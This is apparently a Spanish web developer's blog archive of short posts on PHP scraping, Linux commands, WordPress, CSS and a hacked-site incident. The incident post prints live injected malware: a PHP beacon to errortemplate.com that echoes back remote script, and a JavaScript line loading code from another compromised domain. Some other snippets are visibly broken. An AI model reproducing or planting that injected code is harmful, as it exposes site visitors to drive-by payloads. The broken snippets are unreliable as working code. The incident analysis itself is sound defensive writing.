2015-01-11

Scraper Twitter Php 2015

Esto de scrapear páginas webs como twitter y facebook es un absoluto rollo. Los pobres programadores que trabajan allí están obligados a cambiar su código cada x tiempo porque alguien de arriba les dice esto o lo otro.

Por eso, cuando buscas algún código útil de como scrapear Twitter con php siempre te encuentras con código que funcionaba en el pasado 2014 o 2013 pero que no funciona ahora en el 2015.

Yo he buscado y he encontrado esto:

http://sledgedev.com/build-a-scraper-with-php un código muy simple que debía funcionar hace poco.

http://blog.oneduality.com/2013/06/26/how-to-get-a-twitter-feed-using-php-without-using-api-1-1-and-without-oauth/  un código un poquito más currado en el que el programador relata en  el final que está hasta los cojones de los cambios que pasa de actualizarlo.

De uno y de otro podemos coger ideas. En realidad, son códigos muy parecidos.

Los dos hacen uso de la librería http://simplehtmldom.sourceforge.net/

y luego parsean gracias a esta librería.

He analizado el código actual de Twitter  y yo sólo necesito el tweet, ni la fecha, ni los rt ni nada más. Quizás en un futuro lo actualice para coger esa información o quizás alguien lo haga y nos lo enseñe. Si se quiere hacer los pasos son obvios coger en lugar del párrafo donde se encuentra el tweet, el div principal donde está toda la información del tweet.

El código para scrapear el contenido del tweet es este:

<php?
include 'simple_html_dom.php';
$i=0;
$html = file_get_html('https://twitter.com/pixies');
$tweets = $html->find('p[class=ProfileTweet-text]');
foreach ($tweets as $tweet) {

$tweet=str_replace("&_nbsp;", " ", $tweet);
echo $i." - ".strip_tags($tweet)."\n";
$i++;
 if ($i >3){
   
     break;
 }
}
?>

He añadido un break para mostrar solamente un número definido de tweets .- También un striptags para que no me muestre tags de código. Salían bastantes espacios en  código  por lo que con un str:_replace los he quitado.

Cómo veis un código muy sencillo por no llamarlo cutre.  Como decía antes dejo para otro fin de semana sin obligaciones lo de currarme la fecha y demás campos informativos que se pueden sacar.

P.S: donde pone pixies hay que poner la cuenta de la que queráis obtener información. En mi caso pondré varias y las ejecutaré con un cron . Luego una página web mostrará el resultado. Algo así como lo último de los fulanitos....




2014-12-29

Comandos útiles de linux

Aquí iré añadiendo pequeños comandos que nos hacen la vida más útil cuando estamos en un servidor linux

1. Averiguar tamaños de las subcarpetas dentro de un directorio ordenados por tamaño:

 du -sk * | sort -rn


2. Ver los últimos mensajes de log:

sudo tail -150 /var/log/messages




3. Buscar errores:


grep -i error /var/log/syslog



4. Sincronizar carpetas:


rsync --inplace -rtv /usr/share/folder1/  /usr/share/folder2/



5. Apagar el sistema en 90 minutos:


sudo shutdown -h +90


2014-11-26

Detectar idioma con php en wordpress

La mayoría de los plugins de traducción como mqtranslate o qtranslate utilizan la variable lang para establecer el idioma del artículo. Por ello si estamos tuneando la plantilla de wordpress podemos utilizar alguna de las funciones que ya vienen por defecto con esos plugins pero si eres un manitas de php puedes utilizar lo siguiente:
if ($_GET['lang']==en){
        ?>
  <a href="http://www.tunuevaweb.com/en/disclaimer">DISCLAIMER</a>
   
        ?>
<a href="http://www.tunuevaweb.com/en/disclaimer">DISCLAIMER</a>

Vamos que con poner el idioma que corresponde podemos hacer tantas condiciones queramos con un if y si son muchas pues con un switch.

 Esto funciona si ponéis la variable directamente:  

tunuevaweb.com?lang=en

 Si tenéis urls amigables mejor utilziar la función propia el plugin:

if(qtrans_getLanguage()=='en')

2014-03-31

Sitio hackeado por ftp

El jueves pasado me llamó un viejo cliente sobre una web que hice hace 4 años. Si buscabas el dominio en Google le aparecía como código malicioso y no podía entrar. El sitio tenía varios wordpress, una sección hecha por mi en php y un oscommerce. Al parecer inyectaron un código en todos los ficheros acabados en header.php e index.php:

error_reporting(0); ini_set('display_errors',0); $wp_hm76 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_hm76) && !preg_match ('/bot/i', $wp_hm76))){
$wp_hm0976="http://"."error"."template".".com/template"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_hm76);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_hm0976);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_76hm = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_76hm,1,3) === 'scr' ){ echo $wp_76hm; }

Este código se conecta a un servidor dándole información sobre nuestra url y sobre nuestro navegador.Después puede descargar cualquier de forma automática cualquier código que haya en ese servidor.

Viendo las fechas de modificaciones de ficheros ví que un par de meses después se inyectó código en numerosos archivos con extensión .js



document.write(" script src="http://smartbue.com.ar/zr4txTdc.php" type="text/javascript"></"+ "script>");

En ese caso, utilizan otro dominio infectado para descargar ficheros o lo que sea.
Después de revisar tanto wordpress y Oscommerce analicé los accesos vía ftp y voilà. Los días de los cambios de ficheros hubo acceso desde ip alemana y austriaca el segundo día.

Creo que no vale la pena investigar esas ips.

Cambio de contraseña y comunicar a mi cliente que revise sus equipos en busca de troyanos que buscan passwords de ftp. Sobretodo no utilizar filezilla. Todos sabemos ya que guarda las contraseñas en texto plano.

Por cierto , después de reportar a Google que el sitio ya no estaba infectado tardó menos en 12 horas en volverse a mostrar.

2014-03-21

Visibility hidden y display none

Maquetando con css solemos ocultar display:none; para ocultar distintos elementos. Al ocultarlo desaparece completamente pero si lo necesitamos invocar por javascript y darle la propiedad de por ejemplo display:block; para que se haga visible vemos como aparece ese espacio que tiene y puede efectuar un cambio raro que no nos guste. Los efectos visuales raros siempre hay que evitarlos en maquetación. Para evitar eso y si sobretodo vamos a utilizar javascript es mejor utilizar la propiedad css visibility con sus valores hidden y visible. Esta propiedad oculta el elemento sobre el cual se está referenciando pero no oculta el espacio que ocupa.

2014-03-19

Buscar archivos en la carpeta actual linux

si queremos buscar archivos en la carpeta actual de linux por consola y que además busque en los directorios inferiores basta con ejecutar la siguiente orden

find . -name "*.xcf"

De esta forma, estamos buscando ficheros de Gimp que se encuentran en la carpeta actual y en los directorios incluidos en esta carpeta.

2013-11-03

Mostrar errores en php

Cuando tienes un error 500 casi siempre te sale una pantalla en blanco. Para esos casos lo mejor es poner estas dos líneas al principio del código y así dejar que apache nos muestre los errores de php que seguro tenemos en nuestro código:
?php error_reporting(E_ALL); ini_set('display_errors', '1'); ?
Faltan las etiquetas de inicio y final... un lío ponerlas en este cms